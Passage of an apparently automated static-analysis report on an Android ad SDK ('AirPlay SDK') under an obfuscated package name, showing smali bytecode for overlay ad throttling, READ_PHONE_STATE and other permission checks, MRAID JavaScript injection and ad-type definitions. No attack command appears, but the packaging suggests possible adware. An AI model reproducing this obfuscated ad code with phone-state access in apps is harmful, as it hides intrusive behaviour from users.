10invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallActivity()Z
11move-result v2
12if-nez v2, :cond_12
13cond_11: return-void
14cond_12:
15sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
17invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z
18move-result v2
19if-eqz v2, :cond_67
21sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
23invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J
24move-result-wide v2
26invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
27move-result-wide v4
28cmp-long v2, v2, v4
29if-lez v2, :cond_3e
31const-string v2, "AirplaySDK"
33const-string v3, "Overlay Ad called within 10 secs. Ignoring request"
35invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Overlay Ad called within 10 secs. Ignoring request
37const-string v2, "Overlay Ad called within 10 secs. Ignoring request"
39invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Overlay Ad called within 10 secs. Ignoring request
40try_end_34: goto/16 :goto_11
41catch_35: move-exception v1
43const-string v2, "AirplaySDK"
45const-string v3, "Error occurred in Overlay ad: "
47invoke-static {v2, v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred in Overlay ad:
48goto/16 :goto_11
49cond_3e:
50invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z
51move-result v2
52if-eqz v2, :cond_51
54const-string v2, "AirplaySDK"
56const-string v3, "Another ad is showing on screen."
58invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Another ad is showing on screen.
60const-string v2, "Another ad is showing on screen."
62invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Another ad is showing on screen.
63goto/16 :goto_11
64cond_51:
65sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
67invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
68new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$7;
70invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$7;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V
72sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
74invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
75move-result v2
76if-eqz v2, :cond_11
78invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
79goto/16 :goto_11
80cond_67:
81const-string v2, "AirplaySDK"
83const-string v3, "AirPlay SDK is disabled Please enable to recive ads."
85invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: AirPlay SDK is disabled Please enable to recive ads.
87const-string v2, "AirPlay SDK is disabled Please enable to recive ads."
89invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AirPlay SDK is disabled Please enable to recive ads.
90try_end_73: goto/16 :goto_11
APIs
  • android.content.Context.checkCallingOrSelfPermission
  • android.util.Log.e
Strings
  • android.permission.INTERNET
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.READ_PHONE_STATE
  • AirplaySDK
  • Required INTERNET permission not found in manifest.
  • Required ACCESS_NETWORK_STATE permission not found in manifest.
  • Required READ_PHONE_STATE permission not found in manifest.
Position Instruction Meta Information
0.param p0, "mContext" # Landroid/content/Context;
1.prologue
2const/4 v5, 0x0
3const/4 v4, 0x1
4const/4 v3, 0x1
6const-string v6, "android.permission.INTERNET"
8invoke-virtual {p0, v6}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
  • Data flow analysis:
    • permission: android.permission.INTERNET
9move-result v6
10if-nez v6, :cond_5b
11move v1, v4
12goto_c:
13const-string v6, "android.permission.ACCESS_NETWORK_STATE"
15invoke-virtual {p0, v6}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
  • Data flow analysis:
    • permission: android.permission.ACCESS_NETWORK_STATE
16move-result v6
17if-nez v6, :cond_5d
18move v0, v4
19goto_15:
20const-string v6, "android.permission.READ_PHONE_STATE"
22invoke-virtual {p0, v6}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
  • Data flow analysis:
    • permission: android.permission.READ_PHONE_STATE
23move-result v6
24if-nez v6, :cond_5f
25move v2, v4
26goto_1e: if-nez v1, :cond_2d
27const/4 v3, 0x0
29const-string v5, "AirplaySDK"
31const-string v6, "Required INTERNET permission not found in manifest."
33invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required INTERNET permission not found in manifest.
35const-string v5, "Required INTERNET permission not found in manifest."
37invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required INTERNET permission not found in manifest.
38cond_2d: if-nez v0, :cond_3c
39const/4 v3, 0x0
41const-string v5, "AirplaySDK"
43const-string v6, "Required ACCESS_NETWORK_STATE permission not found in manifest."
45invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required ACCESS_NETWORK_STATE permission not found in manifest.
47const-string v5, "Required ACCESS_NETWORK_STATE permission not found in manifest."
49invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required ACCESS_NETWORK_STATE permission not found in manifest.
50cond_3c: if-nez v2, :cond_4b
52const-string v5, "AirplaySDK"
54const-string v6, "Required READ_PHONE_STATE permission not found in manifest."
56invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required READ_PHONE_STATE permission not found in manifest.
57const/4 v3, 0x0
59const-string v5, "Required READ_PHONE_STATE permission not found in manifest."
61invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required READ_PHONE_STATE permission not found in manifest.
62cond_4b: if-nez v3, :cond_5a
63sget-boolean v5, Lcom/vxjxu/jkhfn1870/SDKIntializer;->isSent:Z
64if-nez v5, :cond_5a
65new-instance v5, Lcom/vxjxu/jkhfn1870/SendIntegrationError;
66const/16 v6, 0x64
68invoke-direct {v5, p0, v6}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V
69sput-boolean v4, Lcom/vxjxu/jkhfn1870/SDKIntializer;->isSent:Z
70cond_5a: return v3
71cond_5b: move v1, v5
72goto/16 :goto_c
73cond_5d: move v0, v5
74goto/16 :goto_15
75cond_5f: move v2, v5
76goto/16 :goto_1e
Cross References
APIs
  • org.json.JSONObject.<init>
  • com.vxjxu.jkhfn1870.MraidView.access$200
  • org.json.JSONObject.put
  • com.vxjxu.jkhfn1870.MraidView.access$300
  • org.json.JSONObject.put
  • org.json.JSONObject.toString
  • org.json.JSONException.printStackTrace
Strings
  • width
  • height
  • useCustomClose
  • isModal
Position Instruction Meta Information
0.prologue
1new-instance v1, Lorg/json/JSONObject;
3invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
4try_start_5:
5const-string v2, "width"
7iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
9invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$200(Lcom/vxjxu/jkhfn1870/MraidView;)I
10move-result v3
12invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: width
14const-string v2, "height"
16iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
18invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$300(Lcom/vxjxu/jkhfn1870/MraidView;)I
19move-result v3
21invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: height
23const-string v2, "useCustomClose"
24iget-boolean v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->useCustomClose:Z
26invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: useCustomClose
28const-string v2, "isModal"
29const/4 v3, 0x1
31invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: isModal
    • p1: 1
32goto_28:
33invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
34move-result-object v2
35return-object v2
36catch_2d: move-exception v0
38invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
39goto/16 :goto_28
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
Strings
  • mraid.triggerErrorEvent(
  • ,\'
  • \');
  • error
Position Instruction Meta Information
0.param p1, "action" # Ljava/lang/String;
1.param p2, "msg" # Ljava/lang/String;
2.prologue
3new-instance v0, Ljava/lang/StringBuilder;
5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
7const-string v1, "mraid.triggerErrorEvent("
9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.triggerErrorEvent(
10move-result-object v0
12invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v0
15const-string v1, ",\'"
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,\'
18move-result-object v0
20invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v0
23const-string v1, "\');"
25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \');
26move-result-object v0
28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
29move-result-object v0
31invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
32iget-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z
33if-nez v0, :cond_2f
35const-string v0, "error"
37invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: error
38cond_2f: return-void
APIs
  • com.vxjxu.jkhfn1870.AdCallbackListener$AdType.<init>
Strings
  • smartwall
  • overlay
  • video
  • appwall
  • landing_page
  • interstitial
Position Instruction Meta Information
0.prologue
1const/4 v7, 0x4
2const/4 v6, 0x3
3const/4 v5, 0x2
4const/4 v4, 0x1
5const/4 v3, 0x0
6new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
8const-string v1, "smartwall"
10invoke-direct {v0, v1, v3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: smartwall
    • p1: 0
11sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
12new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
14const-string v1, "overlay"
16invoke-direct {v0, v1, v4}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: overlay
    • p1: 1
17sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
18new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
20const-string v1, "video"
22invoke-direct {v0, v1, v5}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: video
    • p1: 2
23sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->video:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
24new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
26const-string v1, "appwall"
28invoke-direct {v0, v1, v6}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: appwall
    • p1: 3
29sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
30new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
32const-string v1, "landing_page"
34invoke-direct {v0, v1, v7}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: landing_page
    • p1: 4
35sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
36new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
38const-string v1, "interstitial"
39const/4 v2, 0x5
41invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: interstitial
    • p1: 5
42sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
43const/4 v0, 0x6
44new-array v0, v0, [Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
46sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
47aput-object v1, v0, v3
49sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
50aput-object v1, v0, v4
52sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->video:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
53aput-object v1, v0, v5
55sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
56aput-object v1, v0, v6
58sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
59aput-object v1, v0, v7
60const/4 v1, 0x5
62sget-object v2, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
63aput-object v2, v0, v1
64sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->$VALUES:[Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
65return-void
Cross References
APIs
  • java.text.SimpleDateFormat.<init>
  • java.text.SimpleDateFormat.parse
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.text.SimpleDateFormat.<init>
  • java.text.SimpleDateFormat.format
Strings
  • yyyy-MM-dd
  • dt:
  • yyyyMMdd\'T\'HHmmss\'Z\'
Position Instruction Meta Information
0.param p1, "any" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8const-string v0, ""
9new-instance v2, Ljava/text/SimpleDateFormat;
11const-string v4, "yyyy-MM-dd"
13invoke-direct {v2, v4}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: yyyy-MM-dd
15invoke-virtual {v2, p1}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date;
16move-result-object v1
18sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream;
19new-instance v5, Ljava/lang/StringBuilder;
21invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
23const-string v6, "dt: "
25invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: dt:
26move-result-object v5
28invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
29move-result-object v5
31invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v5
34invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
35new-instance v3, Ljava/text/SimpleDateFormat;
37const-string v4, "yyyyMMdd\'T\'HHmmss\'Z\'"
39invoke-direct {v3, v4}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: yyyyMMdd\'T\'HHmmss\'Z\'
41invoke-virtual {v3, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
42move-result-object v0
43return-object v0
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
Strings
  • mraid.setSupportedFeatures(
  • );
  • supports
  • Error occured in supports.
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
3move-result-object v1
5invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->getSupportsJson(Landroid/content/Context;)Lorg/json/JSONObject;
6move-result-object v0
7if-eqz v0, :cond_27
8new-instance v1, Ljava/lang/StringBuilder;
10invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
12const-string v2, "mraid.setSupportedFeatures("
14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setSupportedFeatures(
15move-result-object v1
17invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
18move-result-object v1
20const-string v2, ");"
22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: );
23move-result-object v1
25invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
26move-result-object v1
28invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
29goto_26: return-void
30cond_27:
31const-string v1, "supports"
33const-string v2, "Error occured in supports."
35invoke-virtual {p0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: supports
    • p1: Error occured in supports.
36goto/16 :goto_26
Cross References
APIs
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.AdView.post
  • java.lang.System.currentTimeMillis
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.AdView.post
  • com.vxjxu.jkhfn1870.AdView.getContext
Strings
  • Ad request is disabled.
  • AirplayMraid
  • Ad request is already in progress.
  • Ad requested beforing refresh time. Aborting request...
  • Ad request failed. Internet connection not found.
Position Instruction Meta Information
0.prologue
1monitor-enter p0
2try_start_1: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
3if-eqz v1, :cond_9
4iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->debug:Z
5if-eqz v1, :cond_10
6cond_9:
7const-string v1, "Ad request is disabled."
9invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Ad request is disabled.
10try_end_e: monitor-exit p0
11return-void
12cond_10: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAdRequestInProgress:Z
13if-eqz v1, :cond_2b
15const-string v1, "AirplayMraid"
17const-string v2, "Ad request is already in progress."
19invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Ad request is already in progress.
21sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
22if-eqz v1, :cond_e
23new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$3;
25invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$3;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
27invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->post(Ljava/lang/Runnable;)Z
28try_end_27: goto/16 :goto_e
29catchall_28: move-exception v1
30monitor-exit p0
31throw v1
32try_start_2b:
33invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
34move-result-wide v2
35iget-wide v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->lastAdfetchedTime:J
36sub-long/2addr v2, v4
37iget v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
38int-to-long v4, v1
39cmp-long v1, v2, v4
40if-gez v1, :cond_4d
42const-string v1, "AirplayMraid"
44const-string v2, "Ad requested beforing refresh time. Aborting request... "
46invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Ad requested beforing refresh time. Aborting request...
48sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
49if-eqz v1, :cond_e
50new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$4;
52invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$4;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
54invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->post(Ljava/lang/Runnable;)Z
55goto/16 :goto_e
56cond_4d: monitor-enter p0
57try_end_4e: new-instance v0, Lcom/vxjxu/jkhfn1870/AdView$5;
59invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AdView$5;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
61invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
62move-result-object v1
64invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
65move-result v1
66if-eqz v1, :cond_65
68invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
69cond_60: monitor-exit p0
70goto/16 :goto_e
71catchall_62: move-exception v1
72monitor-exit p0
73try_start_64: throw v1
74try_end_65:
75sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
76if-eqz v1, :cond_60
78sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
80const-string v2, "Ad request failed. Internet connection not found."
82invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Ad request failed. Internet connection not found.
83try_end_70: goto/16 :goto_60
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Strings
  • storePicture
  • Unknown error occured:
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
6iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
8const-string v1, "storePicture"
9new-instance v2, Ljava/lang/StringBuilder;
11invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
13const-string v3, "Unknown error occured: "
15invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Unknown error occured:
16move-result-object v2
18iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->val$e:Ljava/lang/Exception;
20invoke-virtual {v3}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
21move-result-object v3
23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v2
26invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
27move-result-object v2
29invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: storePicture
31iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
33iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
35iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
37invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
38move-result-object v0
39if-eqz v0, :cond_3d
41iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
43iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
45iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
47invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
48move-result-object v0
50invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V
51cond_3d:
52iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
54iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
56iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
57const/4 v1, 0x1
59invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
60return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.BrowserActivity.requestWindowFeature
  • com.vxjxu.jkhfn1870.BrowserActivity.getResources
  • android.content.res.Resources.getDisplayMetrics
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.BrowserActivity.buildLayout
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
Strings
  • AirplayMraid
  • Url is null.
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.prologue
2const/4 v1, 0x2
